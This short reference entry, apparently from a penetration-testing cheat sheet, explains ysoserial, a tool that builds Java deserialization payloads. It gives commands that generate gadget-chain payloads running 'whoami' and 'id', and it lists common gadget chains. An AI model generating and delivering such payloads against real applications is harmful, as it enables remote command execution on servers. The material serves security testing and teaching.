ysoserial is a proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. It contains a collection of gadget chains for various Java libraries that can be used to execute arbitrary commands when deserialized by a vulnerable application.
ysoserial generates serialized Java objects containing gadget chains. When a vulnerable application deserializes these objects, the gadget chain executes, typically resulting in command execution on the server.
# Generate payload using CommonsCollections1 gadget
java -jar ysoserial.jar CommonsCollections1 "whoami" > payload.ser
# Generate base64-encoded payload
java -jar ysoserial.jar CommonsCollections5 "id" | base64
# Common gadget chains:
# - CommonsCollections1-7 (Apache Commons Collections)
# - CommonsBeanutils1
# - Spring1-2
# - Groovy1
# - JRMPClient/JRMPListener